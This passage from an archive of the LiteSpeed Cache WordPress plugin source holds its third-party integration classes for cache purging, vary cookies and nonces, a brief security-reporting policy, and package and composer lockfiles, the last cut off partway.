		if (empty($_POST['type']) || $_POST['type'] != 'saveproducts' || empty($_POST['data'])) {
			return;
		}

		/*
		 * admin-ajax form-data structure
		 * array(
		 *      "type" => "saveproducts",
		 *      "data" => array(
		 *          "column1" => "464$###0$###2#^#463$###0$###4#^#462$###0$###6#^#",
		 *          "column2" => "464$###0$###2#^#463$###0$###4#^#462$###0$###6#^#"
		 *      )
		 *  )
		 */
		$stock_string_arr = array();
		foreach ($_POST['data'] as $stock_value) {
			$stock_string_arr = array_merge($stock_string_arr, explode('#^#', $stock_value));
		}

		$lscwp_3rd_woocommerce = new self();

		if (count($stock_string_arr) < 1) {
			return;
		}

		foreach ($stock_string_arr as $edited_stock) {
			$product_id = strtok($edited_stock, '$');
			$product    = wc_get_product($product_id);

			if (empty($product)) {
				do_action('litespeed_debug', '3rd woo purge: ' . $product_id . ' not found.');
				continue;
			}

			$lscwp_3rd_woocommerce->purge_product($product);
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/aelia-currencyswitcher.cls.php000064400000003411151031165260024425 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the Aelia CurrencySwitcher plugin.
 *
 * @since       1.0.13
 * @since       2.6     Removed hook_vary as OLS supports vary header already
 * @package     LiteSpeed
 * @subpackage  LiteSpeed_Cache/thirdparty
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

use LiteSpeed\API;

class Aelia_CurrencySwitcher {

	private static $_cookies = array( 'aelia_cs_selected_currency', 'aelia_customer_country', 'aelia_customer_state', 'aelia_tax_exempt' );

	/**
	 * Detects if WooCommerce is installed.
	 *
	 * @since 1.0.13
	 * @access public
	 */
	public static function detect() {
		if (defined('WOOCOMMERCE_VERSION') && isset($GLOBALS['woocommerce-aelia-currencyswitcher']) && is_object($GLOBALS['woocommerce-aelia-currencyswitcher'])) {
			// Not all pages need to add vary, so need to use this API to set conditions
			self::$_cookies = apply_filters('litespeed_3rd_aelia_cookies', self::$_cookies);
			add_filter('litespeed_vary_curr_cookies', __CLASS__ . '::check_cookies'); // this is for vary response headers, only add when needed
			add_filter('litespeed_vary_cookies', __CLASS__ . '::register_cookies'); // this is for rewrite rules, so always add
		}
	}

	public static function register_cookies( $list ) {
		return array_merge($list, self::$_cookies);
	}

	/**
	 * If the page is not a woocommerce page, ignore the logic.
	 * Else check cookies. If cookies are set, set the vary headers, else do not cache the page.
	 *
	 * @since 1.0.13
	 * @access public
	 */
	public static function check_cookies( $list ) {
		// NOTE: is_cart and is_checkout should also be checked, but will be checked by woocommerce anyway.
		if (!is_woocommerce()) {
			return $list;
		}

		return array_merge($list, self::$_cookies);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wptouch.cls.php000064400000001330151031165260021440 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the WPTouch Mobile plugin.
 *
 * @since       1.0.7
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class WpTouch {

	/**
	 * Detects if WPTouch is installed.
	 *
	 * @since 1.0.7
	 * @access public
	 */
	public static function detect() {
		global $wptouch_pro;
		if (isset($wptouch_pro)) {
			add_action('litespeed_control_finalize', __CLASS__ . '::set_control');
		}
	}

	/**
	 * Check if the device is mobile. If so, set mobile.
	 *
	 * @since 1.0.7
	 * @access public
	 */
	public static function set_control() {
		global $wptouch_pro;
		if ($wptouch_pro->is_mobile_device) {
			add_filter('litespeed_is_mobile', '__return_true');
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/entry.inc.php000064400000002753151031165260021112 0ustar00<?php
// phpcs:ignoreFile
/**
 * The registry for Third Party Plugins Integration files.
 *
 * This file is only used to include the integration files/classes.
 * This works as an entry point for the initial add_action for the
 * detect function.
 *
 * It is not required to add all integration files here, this just provides
 * a common place for plugin authors to append their file to.
 */
defined('WPINC') || exit();

use LiteSpeed\API;

$third_cls = array(
	'Aelia_CurrencySwitcher',
	'Autoptimize',
	'Avada',
	'BBPress',
	'Beaver_Builder',
	'Caldera_Forms',
	'Divi_Theme_Builder',
	'Facetwp',
	'LiteSpeed_Check',
	'Theme_My_Login',
	'User_Switching',
	'WCML',
	'WooCommerce',
	'WC_PDF_Product_Vouchers',
	'Woo_Paypal',
	'Wp_Polls',
	'WP_PostRatings',
	'Wpdiscuz',
	'WPLister',
	'WPML',
	'WpTouch',
	'Yith_Wishlist',
);

foreach ($third_cls as $cls) {
	add_action('litespeed_load_thirdparty', 'LiteSpeed\Thirdparty\\' . $cls . '::detect');
}

// Preload needed for certain thirdparty
add_action('litespeed_init', 'LiteSpeed\Thirdparty\Divi_Theme_Builder::preload');
add_action('litespeed_init', 'LiteSpeed\Thirdparty\WooCommerce::preload');
add_action('litespeed_init', 'LiteSpeed\Thirdparty\NextGenGallery::preload');
add_action('litespeed_init', 'LiteSpeed\Thirdparty\AMP::preload');
add_action('litespeed_init', 'LiteSpeed\Thirdparty\Elementor::preload');
add_action('litespeed_init', 'LiteSpeed\Thirdparty\Gravity_Forms::preload');
add_action('litespeed_init', 'LiteSpeed\Thirdparty\Perfmatters::preload');
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/nextgengallery.cls.php000064400000014377151031165260023016 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the NextGen Gallery plugin.
 *
 * @since       1.0.5
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

// Try preload instead
// todo: need test
// add_action('load_nextgen_gallery_modules', 'NextGenGallery::detect') ;

class NextGenGallery {

	const CACHETAG_ALBUMS    = 'NGG_A.';
	const CACHETAG_GALLERIES = 'NGG_G.';
	const CACHETAG_TAGS      = 'NGG_T.';

	/**
	 * Detect is triggered at the load_nextgen_gallery_modules action.
	 *
	 * If this action is triggered, assume NextGen Gallery is used.
	 *
	 * @since   1.0.5
	 * @access  public
	 */
	public static function preload() {
		add_action('ngg_added_new_image', __CLASS__ . '::add_image');
		add_action('ngg_ajax_image_save', __CLASS__ . '::update_image');
		add_action('ngg_delete_picture', __CLASS__ . '::delete_image');
		add_action('ngg_moved_images', __CLASS__ . '::move_image', 10, 3);
		add_action('ngg_copied_images', __CLASS__ . '::copy_image', 10, 3);
		add_action('ngg_generated_image', __CLASS__ . '::gen_image');
		add_action('ngg_recovered_image', __CLASS__ . '::gen_image');

		add_action('ngg_gallery_sort', __CLASS__ . '::update_gallery');
		add_action('ngg_delete_gallery', __CLASS__ . '::update_gallery');

		add_action('ngg_update_album', __CLASS__ . '::update_album');
		add_action('ngg_delete_album', __CLASS__ . '::update_album');

		add_filter('ngg_displayed_gallery_cache_params', __CLASS__ . '::add_container');
	}

	/**
	 * When an image is added, need to purge all pages that displays its gallery.
	 *
	 * @since   1.0.5
	 * @access  public
	 * @param   string $image  The image object added.
	 */
	public static function add_image( $image ) {
		if (!$image || !method_exists($image, 'get_gallery')) {
			return;
		}
		$gallery = $image->get_gallery();
		if ($gallery && $gallery->pageid) {
			do_action('litespeed_purge', self::CACHETAG_GALLERIES . $gallery->pageid);
		}
	}

	/**
	 * When an image is updated, need to purge all pages that displays its gallery.
	 *
	 * @since 1.0.5
	 * @access  public
	 */
	public static function update_image() {
		if (isset($_REQUEST['gallery_id'])) {
			do_action('litespeed_purge', self::CACHETAG_GALLERIES . sanitize_key($_REQUEST['gallery_id']));
			return;
		}

		if (isset($_POST['task_list'])) {
			$task_list = str_replace('\\', '', $_POST['task_list']);
			$task_list = json_decode($task_list, true);

			if (!empty($task_list[0]['query']['id'])) {
				do_action('litespeed_purge', self::CACHETAG_GALLERIES . sanitize_key($task_list[0]['query']['id']));
				return;
			}
		}

		if (isset($_POST['id'])) {
			$id = (int) $_POST['id'];
		} elseif (isset($_POST['image'])) {
			$id = (int) $_POST['image'];
		} elseif (isset($_GET['pid'])) {
			$id = (int) $_GET['pid'];
		} else {
			error_log('LiteSpeed_Cache hit ngg_ajax_image_save with no post image id.');
			return;
		}
		$image = \C_Image_Mapper::get_instance()->find($id);
		if ($image) {
			do_action('litespeed_purge', self::CACHETAG_GALLERIES . $image->galleryid);
		}
	}

	/**
	 * When an image is deleted, need to purge all pages that displays its gallery.
	 *
	 * @since 1.0.5
	 * @access  public
	 */
	public static function delete_image() {
		if (isset($_GET['gid'])) {
			do_action('litespeed_purge', self::CACHETAG_GALLERIES . sanitize_key($_GET['gid']));
		}
	}

	/**
	 * When an image is moved, need to purge all old galleries and the new gallery.
	 *
	 * @since 1.0.8
	 * @access  public
	 * @param array   $images unused
	 * @param array   $old_gallery_ids Source gallery ids for the images.
	 * @param integer $new_gallery_id Destination gallery id.
	 */
	public static function move_image( $images, $old_gallery_ids, $new_gallery_id ) {
		foreach ($old_gallery_ids as $gid) {
			do_action('litespeed_purge', self::CACHETAG_GALLERIES . $gid);
		}
		do_action('litespeed_purge', self::CACHETAG_GALLERIES . $new_gallery_id);
	}

	/**
	 * When an image is copied, need to purge the destination gallery.
	 *
	 * @param array   $image_pid_map unused
	 * @param array   $old_gallery_ids unused
	 * @param integer $new_gallery_id Destination gallery id.
	 */
	public static function copy_image( $image_pid_map, $old_gallery_ids, $new_gallery_id ) {
		do_action('litespeed_purge', self::CACHETAG_GALLERIES . $new_gallery_id);
	}

	/**
	 * When an image is re-generated, need to purge the gallery it belongs to.
	 * Also applies to recovered images.
	 *
	 * @param Image $image The re-generated image.
	 */
	public static function gen_image( $image ) {
		do_action('litespeed_purge', self::CACHETAG_GALLERIES . $image->galleryid);
	}

	/**
	 * When a gallery is updated, need to purge all pages that display the gallery.
	 *
	 * @since 1.0.5
	 * @access  public
	 * @param   integer $gid    The gallery id of the gallery updated.
	 */
	public static function update_gallery( $gid ) {
		// New version input will be an object with gid value
		if (is_object($gid) && !empty($gid->gid)) {
			$gid = $gid->gid;
		}

		do_action('litespeed_purge', self::CACHETAG_GALLERIES . $gid);
	}

	/**
	 * When an album is updated, need to purge all pages that display the album.
	 *
	 * @since 1.0.5
	 * @access public
	 * @param   integer $aid    The album id of the album updated.
	 */
	public static function update_album( $aid ) {
		do_action('litespeed_purge', self::CACHETAG_ALBUMS . $aid);
	}

	/**
	 * When rendering a page, if the page has a gallery, album or tag cloud,
	 * it needs to be tagged appropriately.
	 *
	 * @since 1.0.5
	 * @access public
	 * @param object $render_parms Parameters used to render the associated part of the page.
	 * @return mixed Null if passed in null, $render_parms otherwise.
	 */
	public static function add_container( $render_parms ) {
		// Check if null. If it is null, can't continue.
		if (is_null($render_parms)) {
			return null;
		}
		$src           = $render_parms[0]->source;
		$container_ids = $render_parms[0]->container_ids;
		// Can switch on first char if we end up with more sources.
		switch ($src) {
			case 'albums':
            $tag = self::CACHETAG_ALBUMS;
				break;
			case 'galleries':
            $tag = self::CACHETAG_GALLERIES;
				break;
			case 'tags':
            $tag = self::CACHETAG_TAGS;
				break;
			default:
				return $render_parms;
		}

		foreach ($container_ids as $id) {
			do_action('litespeed_tag_add', $tag . $id);
		}

		return $render_parms;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/divi-theme-builder.cls.php000064400000004357151031165260023442 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with DIVI Theme.
 *
 * @since       2.9.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Divi_Theme_Builder {

	// private static $js_comment_box = false;

	/**
	 * Check if is Edit mode in frontend, disable all LSCWP features to avoid breaking page builder
	 *
	 * @since 2.9.7.2 #435538 #581740 #977284
	 * @since  2.9.9.1 Added 'et_pb_preview' for loading image from library in divi page edit
	 */
	public static function preload() {
		if (!function_exists('et_setup_theme')) {
			return;
		}
		if (!empty($_GET['et_fb']) || !empty($_GET['et_pb_preview']) || (!empty($_GET['p']) && !empty($_GET['preview']) && $_GET['preview'] === 'true')) {
			do_action('litespeed_disable_all', 'divi edit mode');
		}
	}

	public static function detect() {
		if (!defined('ET_CORE')) {
			return;
		}

		// As DIVI will set page to non-cacheable for the 1st visit to generate CCSS, will need to ignore that no-cache for crawler
		defined('LITESPEED_CRAWLER_IGNORE_NONCACHEABLE') || define('LITESPEED_CRAWLER_IGNORE_NONCACHEABLE', true);

		/**
		 * Add contact form to nonce
		 *
		 * @since  2.9.7.1 #475461
		 */
		do_action('litespeed_nonce', 'et-pb-contact-form-submit');

		/**
		 * Subscribe module and A/B logging
		 *
		 * @since  3.0 @Robert Staddon
		 */
		do_action('litespeed_nonce', 'et_frontend_nonce');
		do_action('litespeed_nonce', 'et_ab_log_nonce');

		/*
		// the comment box fix is for user using theme builder, ESI will load the wrong json string
		// As we disabled all for edit mode, this is no more needed
		add_action( 'et_fb_before_comments_template', 'Divi_Theme_Builder::js_comment_box_on' );
		add_action( 'et_fb_after_comments_template', 'Divi_Theme_Builder::js_comment_box_off' );
		add_filter( 'litespeed_esi_params-comment-form', 'Divi_Theme_Builder::esi_comment_add_slash' );// Note: this is changed in v2.9.8.1
		*/
	}

	/*
	public static function js_comment_box_on() {
		self::$js_comment_box = true;
	}

	public static function js_comment_box_off() {
		self::$js_comment_box = false;
	}

	public static function esi_comment_add_slash( $params )
	{
		if ( self::$js_comment_box ) {
			$params[ 'is_json' ] = 1;
			$params[ '_ls_silence' ] = 1;
		}

		return $params;
	}
	*/
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/user-switching.cls.php000064400000001040151031165260022720 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with User Switching.
 *
 * @since       3.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class User_Switching {

	public static function detect() {
		if (!class_exists('user_switching')) {
			return;
		}

		/**
		 * Register switch back URL nonce
		 *
		 * @since  3.0 @Robert Staddon
		 */
		if (function_exists('current_user_switched') && ($old_user = current_user_switched())) {
			do_action('litespeed_nonce', 'switch_to_olduser_' . $old_user->ID);
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wpdiscuz.cls.php000064400000001362151031165260021624 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with Wpdiscuz.
 *
 * @since       2.9.5
 * @package     LiteSpeed
 * @subpackage  LiteSpeed_Cache/thirdparty
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

use LiteSpeed\API;

class Wpdiscuz {

	public static function detect() {
		if (!defined('WPDISCUZ_DS')) {
			return;
		}

		self::check_commenter();
		add_action('wpdiscuz_add_comment', __CLASS__ . '::add_comment');
	}

	public static function add_comment() {
		API::vary_append_commenter();
	}

	public static function check_commenter() {
		$commentor = wp_get_current_commenter();

		if (strlen($commentor['comment_author']) > 0) {
			add_filter('litespeed_vary_check_commenter_pending', '__return_false');
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/theme-my-login.cls.php000064400000001577151031165260022617 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the Theme My Login plugin.
 *
 * @since       1.0.15
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Theme_My_Login {

	/**
	 * Detects if Better Theme My Login is active.
	 *
	 * @since 1.0.15
	 * @access public
	 */
	public static function detect() {
		if (defined('THEME_MY_LOGIN_PATH')) {
			add_action('litespeed_control_finalize', __CLASS__ . '::set_control');
		}
	}

	/**
	 * This filter is used to let the cache know if a page is cacheable.
	 *
	 * @access public
	 * @since 1.0.15
	 */
	public static function set_control() {
		if (!apply_filters('litespeed_control_cacheable', false)) {
			return;
		}

		// check if this page is TML page or not
		if (class_exists('Theme_My_Login') && \Theme_My_Login::is_tml_page()) {
			do_action('litespeed_control_set_nocache', 'Theme My Login');
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/perfmatters.cls.php000064400000001253151031165260022307 0ustar00<?php
// phpcs:ignoreFile

/**
 * The Third Party integration with the Perfmatters plugin.
 *
 * @since       4.4.5
 */

namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Perfmatters {

	public static function preload() {
		if (!defined('PERFMATTERS_VERSION')) {
			return;
		}

		if (is_admin()) {
			return;
		}

		if (has_action('shutdown', 'perfmatters_script_manager') !== false) {
			add_action('init', __CLASS__ . '::disable_litespeed_esi', 4);
		}
	}

	public static function disable_litespeed_esi() {
		defined('LITESPEED_ESI_OFF') || define('LITESPEED_ESI_OFF', true);
		do_action('litespeed_debug', 'Disable ESI due to Perfmatters script manager');
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/facetwp.cls.php000064400000001307151031165260021404 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with FacetWP.
 *
 * @since       2.9.9
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Facetwp {

	public static function detect() {
		if (!defined('FACETWP_VERSION')) {
			return;
		}
		/**
		 * For Facetwp, if the template is "wp", return the buffered HTML
		 * So marked as rest call to put is_json to ESI
		 */
		if (!empty($_POST['action']) && !empty($_POST['data']) && !empty($_POST['data']['template']) && $_POST['data']['template'] === 'wp') {
			add_filter('litespeed_esi_params', __CLASS__ . '::set_is_json');
		}
	}

	public static function set_is_json( $params ) {
		$params['is_json'] = 1;
		return $params;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/security.md000064400000000562151031165260016463 0ustar00# Security Policy

## Reporting Security Bugs

We take security seriously. Please report potential vulnerabilities found in the LiteSpeed Cache plugin's source code via email to `support@litespeedtech.com` or open a ticket from your LiteSpeed Client Area.

Please see [Reporting Vulnerabilities](https://www.litespeedtech.com/report-security-bugs) for more information.
litespeed-wp-plugin/7.5.0.1/litespeed-cache/package-lock.json000064400000006221151031165260017504 0ustar00{
	"name": "litespeed-cache",
	"lockfileVersion": 3,
	"requires": true,
	"packages": {
		"": {
			"name": "litespeed-cache",
			"license": "GPLv3",
			"devDependencies": {
				"@prettier/plugin-php": "^0.21.0",
				"prettier": "^3.0.3"
			}
		},
		"node_modules/@prettier/plugin-php": {
			"version": "0.21.0",
			"resolved": "https://registry.npmjs.org/@prettier/plugin-php/-/plugin-php-0.21.0.tgz",
			"integrity": "sha512-vWC6HIUUfhvl/7F5IxVQ0ItGB/7ZY+jDlX7KsTqvfKMODW/zvzj8r1Ab4harS22+O3xxHykVVd5jvylmxMMctg==",
			"dev": true,
			"dependencies": {
				"linguist-languages": "^7.21.0",
				"mem": "^9.0.2",
				"php-parser": "^3.1.5"
			},
			"peerDependencies": {
				"prettier": "^3.0.0"
			}
		},
		"node_modules/linguist-languages": {
			"version": "7.27.0",
			"resolved": "https://registry.npmjs.org/linguist-languages/-/linguist-languages-7.27.0.tgz",
			"integrity": "sha512-Wzx/22c5Jsv2ag+uKy+ITanGA5hzvBZngrNGDXLTC7ZjGM6FLCYGgomauTkxNJeP9of353OM0pWqngYA180xgw==",
			"dev": true
		},
		"node_modules/map-age-cleaner": {
			"version": "0.1.3",
			"resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz",
			"integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==",
			"dev": true,
			"dependencies": {
				"p-defer": "^1.0.0"
			},
			"engines": {
				"node": ">=6"
			}
		},
		"node_modules/mem": {
			"version": "9.0.2",
			"resolved": "https://registry.npmjs.org/mem/-/mem-9.0.2.tgz",
			"integrity": "sha512-F2t4YIv9XQUBHt6AOJ0y7lSmP1+cY7Fm1DRh9GClTGzKST7UWLMx6ly9WZdLH/G/ppM5RL4MlQfRT71ri9t19A==",
			"dev": true,
			"dependencies": {
				"map-age-cleaner": "^0.1.3",
				"mimic-fn": "^4.0.0"
			},
			"engines": {
				"node": ">=12.20"
			},
			"funding": {
				"url": "https://github.com/sindresorhus/mem?sponsor=1"
			}
		},
		"node_modules/mimic-fn": {
			"version": "4.0.0",
			"resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz",
			"integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==",
			"dev": true,
			"engines": {
				"node": ">=12"
			},
			"funding": {
				"url": "https://github.com/sponsors/sindresorhus"
			}
		},
		"node_modules/p-defer": {
			"version": "1.0.0",
			"resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz",
			"integrity": "sha512-wB3wfAxZpk2AzOfUMJNL+d36xothRSyj8EXOa4f6GMqYDN9BJaaSISbsk+wS9abmnebVw95C2Kb5t85UmpCxuw==",
			"dev": true,
			"engines": {
				"node": ">=4"
			}
		},
		"node_modules/php-parser": {
			"version": "3.1.5",
			"resolved": "https://registry.npmjs.org/php-parser/-/php-parser-3.1.5.tgz",
			"integrity": "sha512-jEY2DcbgCm5aclzBdfW86GM6VEIWcSlhTBSHN1qhJguVePlYe28GhwS0yoeLYXpM2K8y6wzLwrbq814n2PHSoQ==",
			"dev": true
		},
		"node_modules/prettier": {
			"version": "3.0.3",
			"resolved": "https://registry.npmjs.org/prettier/-/prettier-3.0.3.tgz",
			"integrity": "sha512-L/4pUDMxcNa8R/EthV08Zt42WBO4h1rarVtK0K+QJG0X187OLo7l699jWw0GKuwzkPQ//jMFA/8Xm6Fh3J/DAg==",
			"dev": true,
			"bin": {
				"prettier": "bin/prettier.cjs"
			},
			"engines": {
				"node": ">=14"
			},
			"funding": {
				"url": "https://github.com/prettier/prettier?sponsor=1"
			}
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/composer.lock000064400000054727151031165260017007 0ustar00{
    "_readme": [
        "This file locks the dependencies of your project to a known state",
        "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
        "This file is @generated automatically"
    ],
    "content-hash": "8c6cb907d697cb733facab6d72af1add",
    "packages": [],
    "packages-dev": [
        {
            "name": "dealerdirect/phpcodesniffer-composer-installer",
            "version": "v1.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPCSStandards/composer-installer.git",
                "reference": "4be43904336affa5c2f70744a348312336afd0da"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPCSStandards/composer-installer/zipball/4be43904336affa5c2f70744a348312336afd0da",
                "reference": "4be43904336affa5c2f70744a348312336afd0da",
                "shasum": ""
            },
            "require": {
                "composer-plugin-api": "^1.0 || ^2.0",
                "php": ">=5.4",
                "squizlabs/php_codesniffer": "^2.0 || ^3.1.0 || ^4.0"
            },
            "require-dev": {
                "composer/composer": "*",
                "ext-json": "*",
                "ext-zip": "*",
                "php-parallel-lint/php-parallel-lint": "^1.3.1",
                "phpcompatibility/php-compatibility": "^9.0",
                "yoast/phpunit-polyfills": "^1.0"
            },
            "type": "composer-plugin",
            "extra": {
                "class": "PHPCSStandards\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\Plugin"
            },
            "autoload": {
                "psr-4": {
                    "PHPCSStandards\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Franck Nijhof",
                    "email": "franck.nijhof@dealerdirect.com",
                    "homepage": "http://www.frenck.nl",
                    "role": "Developer / IT Manager"
                },
                {
                    "name": "Contributors",
                    "homepage": "https://github.com/PHPCSStandards/composer-installer/graphs/contributors"
                }
            ],
            "description": "PHP_CodeSniffer Standards Composer Installer Plugin",
            "homepage": "http://www.dealerdirect.com",
            "keywords": [
                "PHPCodeSniffer",
                "PHP_CodeSniffer",
                "code quality",
                "codesniffer",
                "composer",
                "installer",
                "phpcbf",
                "phpcs",
                "plugin",
                "qa",
                "quality",
                "standard",
                "standards",
                "style guide",
                "stylecheck",
                "tests"
            ],
            "support": {
                "issues": "https://github.com/PHPCSStandards/composer-installer/issues",
                "source": "https://github.com/PHPCSStandards/composer-installer"
            },
            "time": "2023-01-05T11:28:13+00:00"
        },
        {
            "name": "php-stubs/wordpress-stubs",
            "version": "v6.8.1",
            "source": {
                "type": "git",
                "url": "https://github.com/php-stubs/wordpress-stubs.git",
                "reference": "92e444847d94f7c30f88c60004648f507688acd5"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-stubs/wordpress-stubs/zipball/92e444847d94f7c30f88c60004648f507688acd5",
                "reference": "92e444847d94f7c30f88c60004648f507688acd5",
                "shasum": ""
            },
            "conflict": {
                "phpdocumentor/reflection-docblock": "5.6.1"
            },
            "require-dev": {
                "dealerdirect/phpcodesniffer-composer-installer": "^1.0",
                "nikic/php-parser": "^5.4",
                "php": "^7.4 || ^8.0",
                "php-stubs/generator": "^0.8.3",
                "phpdocumentor/reflection-docblock": "^5.4.1",
                "phpstan/phpstan": "^2.1",
                "phpunit/phpunit": "^9.5",
                "szepeviktor/phpcs-psr-12-neutron-hybrid-ruleset": "^1.1.1",
                "wp-coding-standards/wpcs": "3.1.0 as 2.3.0"
            },
            "suggest": {
                "paragonie/sodium_compat": "Pure PHP implementation of libsodium",
                "symfony/polyfill-php80": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
                "szepeviktor/phpstan-wordpress": "WordPress extensions for PHPStan"
            },
            "type": "library",
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "description": "WordPress function and class declaration stubs for static analysis.",
            "homepage": "https://github.com/php-stubs/wordpress-stubs",
            "keywords": [
                "PHPStan",
                "static analysis",
                "wordpress"
            ],
            "support": {
                "issues": "https://github.com/php-stubs/wordpress-stubs/issues",
                "source": "https://github.com/php-stubs/wordpress-stubs/tree/v6.8.1"
            },
            "time": "2025-05-02T12:33:34+00:00"
        },
        {
            "name": "php-stubs/wp-cli-stubs",
            "version": "v2.12.0",
            "source": {
                "type": "git",
                "url": "https://github.com/php-stubs/wp-cli-stubs.git",
                "reference": "af16401e299a3fd2229bd0fa9a037638a4174a9d"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/php-stubs/wp-cli-stubs/zipball/af16401e299a3fd2229bd0fa9a037638a4174a9d",
                "reference": "af16401e299a3fd2229bd0fa9a037638a4174a9d",
                "shasum": ""
            },
            "require": {
                "php-stubs/wordpress-stubs": "^4.7 || ^5.0 || ^6.0"
            },
            "require-dev": {
                "php": "~7.3 || ~8.0",
                "php-stubs/generator": "^0.8.0"
            },
            "suggest": {
                "symfony/polyfill-php73": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
                "szepeviktor/phpstan-wordpress": "WordPress extensions for PHPStan"
            },
            "type": "library",
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "description": "WP-CLI function and class declaration stubs for static analysis.",
            "homepage": "https://github.com/php-stubs/wp-cli-stubs",
            "keywords": [
                "PHPStan",
                "static analysis",
                "wordpress",
                "wp-cli"
            ],
            "support": {
                "issues": "https://github.com/php-stubs/wp-cli-stubs/issues",
                "source": "https://github.com/php-stubs/wp-cli-stubs/tree/v2.12.0"
            },
            "time": "2025-06-10T09:58:05+00:00"
        },
        {
            "name": "phpcompatibility/php-compatibility",
            "version": "9.3.5",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPCompatibility/PHPCompatibility.git",
                "reference": "9fb324479acf6f39452e0655d2429cc0d3914243"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibility/zipball/9fb324479acf6f39452e0655d2429cc0d3914243",
                "reference": "9fb324479acf6f39452e0655d2429cc0d3914243",
                "shasum": ""
            },
            "require": {
                "php": ">=5.3",
                "squizlabs/php_codesniffer": "^2.3 || ^3.0.2"
            },
            "conflict": {
                "squizlabs/php_codesniffer": "2.6.2"
            },
            "require-dev": {
                "phpunit/phpunit": "~4.5 || ^5.0 || ^6.0 || ^7.0"
            },
            "suggest": {
                "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically.",
                "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues."
            },
            "type": "phpcodesniffer-standard",
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "LGPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Wim Godden",
                    "homepage": "https://github.com/wimg",
                    "role": "lead"
                },
                {
                    "name": "Juliette Reinders Folmer",
                    "homepage": "https://github.com/jrfnl",
                    "role": "lead"
                },
                {
                    "name": "Contributors",
                    "homepage": "https://github.com/PHPCompatibility/PHPCompatibility/graphs/contributors"
                }
            ],
            "description": "A set of sniffs for PHP_CodeSniffer that checks for PHP cross-version compatibility.",
            "homepage": "http://techblog.wimgodden.be/tag/codesniffer/",
            "keywords": [
                "compatibility",
                "phpcs",
                "standards"
            ],
            "support": {
                "issues": "https://github.com/PHPCompatibility/PHPCompatibility/issues",
                "source": "https://github.com/PHPCompatibility/PHPCompatibility"
            },
            "time": "2019-12-27T09:44:58+00:00"
        },
        {
            "name": "phpcsstandards/phpcsextra",
            "version": "1.3.0",
            "source": {
                "type": "git",
                "url": "https://github.com/PHPCSStandards/PHPCSExtra.git",
                "reference": "46d08eb86eec622b96c466adec3063adfed280dd"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/PHPCSStandards/PHPCSExtra/zipball/46d08eb86eec622b96c466adec3063adfed280dd",
                "reference": "46d08eb86eec622b96c466adec3063adfed280dd",
                "shasum": ""
            },
            "require": {
                "php": ">=5.4",
                "phpcsstandards/phpcsutils": "^1.0.9",
                "squizlabs/php_codesniffer": "^3.12.1"
            },
            "require-dev": {
                "php-parallel-lint/php-console-highlighter": "^1.0",
                "php-parallel-lint/php-parallel-lint": "^1.3.2",
